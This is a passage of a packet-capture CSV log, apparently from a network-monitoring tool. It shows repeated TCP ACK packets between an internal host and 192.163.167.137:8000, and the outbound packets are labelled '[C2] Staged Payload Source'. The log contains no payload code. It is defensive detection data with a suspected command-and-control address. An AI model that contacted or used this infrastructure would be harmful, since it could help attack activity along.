Ack=2691200873,bc2411360d0cbc24112907bb080045000034ca8c400040066567c0a3a7890a98980b1f40fa4eb68ec096a06877698010003f0af700000101050aa0687768a0687769,\".$.6\n..$.)....E..4..@.@.eg....\n....@.N.....hwi...?\n......\n.hwh.hwi\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 51852, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 25959, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64078, \"\"seq\"\": 3062808726, \"\"ack\"\": 2691200873, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (2691200872, 2691200873))]\"\"}}]\"\n2026-07-01 09:07:43.795895,341,TCP 10.152.152.11:64078 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64078,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=2691200872 Ack=3062808726,bc24112907bbbc2411360d0c080045000029b03c400080063fc20a98980bc0a3a789fa4e1f40a0687768b68ec09650102014dc69000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45116, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16322, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64078, \"\"dport\"\": 8000, \"\"seq\"\": 2691200872, \"\"ack\"\": 3062808726, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 56425, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:07:43.795900,342,TCP 192.163.167.137:8000 -> 10.152.152.11:64078,192.163.167.137,10.152.152.11,8000,64078,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3062808726 Ack=2691200873,bc2411360d0cbc24112907bb080045000034ca8d400040066566c0a3a7890a98980b1f40fa4eb68ec096a06877698010003f0af700000101050aa0687768a0687769,\".$.6\n..$.)....E..4..@.@.ef....\n....@.N.....hwi...?\n......\n.hwh.hwi\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 51853, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 25958, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64078, \"\"seq\"\": 3062808726, \"\"ack\"\": 2691200873, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (2691200872, 2691200873))]\"\"}}]\"\n2026-07-01 09:07:44.795973,343,TCP 10.152.152.11:64078 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64078,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=2691200872 Ack=3062808726,bc24112907bbbc2411360d0c080045000029b03d400080063fc10a98980bc0a3a789fa4e1f40a0687768b68ec09650102014dc69000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45117, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16321, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64078, \"\"dport\"\": 8000, \"\"seq\"\": 2691200872, \"\"ack\"\": 3062808726, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 56425, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:07:44.795993,344,TCP 192.163.167.137:8000 -> 10.152.152.11:64078,192.163.167.137,10.152.152.11,8000,64078,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3062808726 Ack=2691200873,bc2411360d0cbc24112907bb080045000034ca8e400040066565c0a3a7890a98980b1f40fa4eb68ec096a06877698010003f0af700000101050aa0687768a0687769,\".$.6\n..$.)....E..4..@.@.ee....\n....@.N.....hwi...?\n......\n.hwh.hwi\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 51854, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 25957, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64078, \"\"seq\"\": 3062808726, \"\"ack\"\": 2691200873, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (2691200872, 2691200873))]\"\"}}]\"\n2026-07-01 09:07:45.811602,345,TCP 10.152.152.11:64078 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64078,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=2691200872 Ack=3062808726,bc24112907bbbc2411360d0c080045000029b03e400080063fc00a98980bc0a3a789fa4e1f40a0687768b68ec09650102014dc69000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45118, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16320, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64078, \"\"dport\"\": 8000, \"\"seq\"\": 2691200872, \"\"ack\"\": 3062808726, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 56425, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:07:45.811632,346,TCP 192.163.167.137:8000 -> 10.152.152.11:64078,192.163.167.137,10.152.152.11,8000,64078,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3062808726 Ack=2691200873,bc2411360d0cbc24112907bb080045000034ca8f400040066564c0a3a7890a98980b1f40fa4eb68ec096a06877698010003f0af700000101050aa0687768a0687769,\".$.6\n..$.)....E..4..@.@.ed....\n....@.N.....hwi...?\n......\n.hwh.hwi\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 51855, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 25956, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64078, \"\"seq\"\": 3062808726, \"\"ack\"\": 2691200873, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (2691200872, 2691200873))]\"\"}}]\"\n2026-07-01 09:07:46.827215,347,TCP 10.152.152.11:64078 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64078,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=2691200872 Ack=3062808726,bc24112907bbbc2411360d0c080045000029b03f400080063fbf0a98980bc0a3a789fa4e1f40a0687768b68ec09650102014dc69000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45119, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16319, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64078, \"\"dport\"\": 8000, \"\"seq\"\": 2691200872, \"\"ack\"\": 3062808726, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 56425, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:07:46.827243,348,TCP 192.163.167.137:8000 -> 10.152.152.11:64078,192.163.167.137,10.152.152.11,8000,64078,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3062808726 Ack=2691200873,bc2411360d0cbc24112907bb080045000034ca90400040066563c0a3a7890a98980b1f40fa4eb68ec096a06877698010003f0af700000101050aa0687768a0687769,\".$.6\n..$.)....E..4..@.@.ec....\n....@.N.....hwi...?\n......\n.hwh.hwi\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 51856, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 25955, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64078, \"\"seq\"\": 3062808726, \"\"ack\"\": 2691200873, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (2691200872, 2691200873))]\"\"}}]\"\n2026-07-01 09:07:47.842923,349,TCP 10.152.152.11:64078 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64078,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=2691200872 Ack=3062808726,bc24112907bbbc2411360d0c080045000029b040400080063fbe0a98980bc0a3a789fa4e1f40a0687768b68ec09650102014dc69000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45120, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16318, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64078, \"\"dport\"\": 8000, \"\"seq\"\": 2691200872, \"\"ack\"\": 3062808726, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 56425, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:07:47.842956,350,TCP 192.163.167.137:8000 -> 10.152.152.11:64078,192.163.167.137,10.152.152.11,8000,64078,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3062808726 Ack=2691200873,bc2411360d0cbc24112907bb080045000034ca91400040066562c0a3a7890a98980b1f40fa4eb68ec096a06877698010003f0af700000101050aa0687768a0687769,\".$.6\n..$.)....E..4..@.@.eb....\n....@.N.....hwi...?\n......\n.hwh.hwi\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 51857, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 25954, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64078, \"\"seq\"\": 3062808726, \"\"ack\"\": 2691200873, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (2691200872, 2691200873))]\"\"}}]\"\n2026-07-01 09:07:48.858659,351,TCP 10.152.152.11:64078 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64078,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=2691200872 Ack=3062808726,bc24112907bbbc2411360d0c080045000029b041400080063fbd0a98980bc0a3a789fa4e1f40a0687768b68ec09650102014dc69000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45121, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16317, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64078, \"\"dport\"\": 8000, \"\"seq\"\": 2691200872, \"\"ack\"\": 3062808726, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 56425, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:07:48.858683,352,TCP 192.163.167.137:8000 -> 10.152.152.11:64078,192.163.167.137,10.152.152.11,8000,64078,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3062808726 Ack=2691200873,bc2411360d0cbc24112907bb080045000034ca92400040066561c0a3a7890a98980b1f40fa4eb68ec096a06877698010003f0af700000101050aa0687768a0687769,\".$.6\n..$.)....E..4..@.@.ea....\n....@.N.....hwi...?\n......\n.hwh.hwi\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 51858, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 25953, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64078, \"\"seq\"\": 3062808726, \"\"ack\"\": 2691200873, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (2691200872, 2691200873))]\"\"}}]\"\n2026-07-01 09:07:49.874275,353,TCP 10.152.152.11:64078 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64078,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=2691200872 Ack=3062808726,bc24112907bbbc2411360d0c080045000029b042400080063fbc0a98980bc0a3a789fa4e1f40a0687768b68ec09650102014dc69000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45122, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16316, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64078, \"\"dport\"\": 8000, \"\"seq\"\": 2691200872, \"\"ack\"\": 3062808726, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 56425, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:07:49.874290,354,TCP 192.163.167.137:8000 -> 10.152.152.11:64078,192.163.167.137,10.152.152.11,8000,64078,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3062808726 Ack=2691200873,bc2411360d0cbc24112907bb080045000034ca93400040066560c0a3a7890a98980b1f40fa4eb68ec096a06877698010003f0af700000101050aa0687768a0687769,\".$.6\n..$.)....E..4..@.@.e`....\n....@.N.....hwi...?\n......\n.hwh.hwi\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 51859, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 25952, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64078, \"\"seq\"\": 3062808726, \"\"ack\"\": 2691200873, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (2691200872, 2691200873))]\"\"}}]\"\n2026-07-01 09:07:50.889864,355,TCP 10.152.152.11:64078 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64078,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=2691200872 Ack=3062808726,bc24112907bbbc2411360d0c080045000029b043400080063fbb0a98980bc0a3a789fa4e1f40a0687768b68ec09650102014dc69000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45123, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16315, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64078, \"\"dport\"\": 8000, \"\"seq\"\": 2691200872, \"\"ack\"\": 3062808726, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 56425, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:07:50.889896,356,TCP 192.163.167.137:8000 -> 10.152.152.11:64078,192.163.167.137,10.152.152.11,8000,64078,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3062808726 Ack=2691200873,bc2411360d0cbc24112907bb080045000034ca9440004006655fc0a3a7890a98980b1f40fa4eb68ec096a06877698010003f0af700000101050aa0687768a0687769,\".$.6\n..$.)....E..4..@.@.e_....\n....@.N.....hwi...?\n......\n.hwh.hwi\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 51860, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 25951, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64078, \"\"seq\"\": 3062808726, \"\"ack\"\": 2691200873, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (2691200872, 2691200873))]\"\"}}]\"\n2026-07-01 09:07:51.889947,357,TCP 10.152.152.11:64078 -> 